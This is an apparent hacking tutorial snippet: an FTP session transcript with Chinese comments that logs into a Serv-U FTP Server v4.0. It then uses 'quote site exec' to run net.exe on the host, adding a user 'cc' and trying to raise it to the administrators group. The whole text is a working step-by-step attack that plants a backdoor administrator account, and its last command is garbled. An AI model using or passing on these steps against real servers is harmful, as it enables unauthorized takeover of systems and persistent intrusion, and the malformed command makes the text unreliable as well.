ftp>open ip Connected to ip.220 Serv-U FTP Server v4.0 for WinSock ready...User (ip:(none)): ftpuser //输入ftp用户331 User name okay, please send complete E-mail address as password.Password:password //密码230 User logged in, proceed.ftp> cd winnt //进入win2k的winnt目录，如果是winxp或者是win 2003就应该为windows目录。250 Directory changed to /WINNTftp>cd system32 //进入system32目录250 Directory changed to /WINNT/system32ftp>quote site exec net.exe user cc cc /add //利用net命令添加用户。200 EXEC command successful (TID=33).ftp>quote site exec net.exe localhost administrators cc /add //提升为超级用户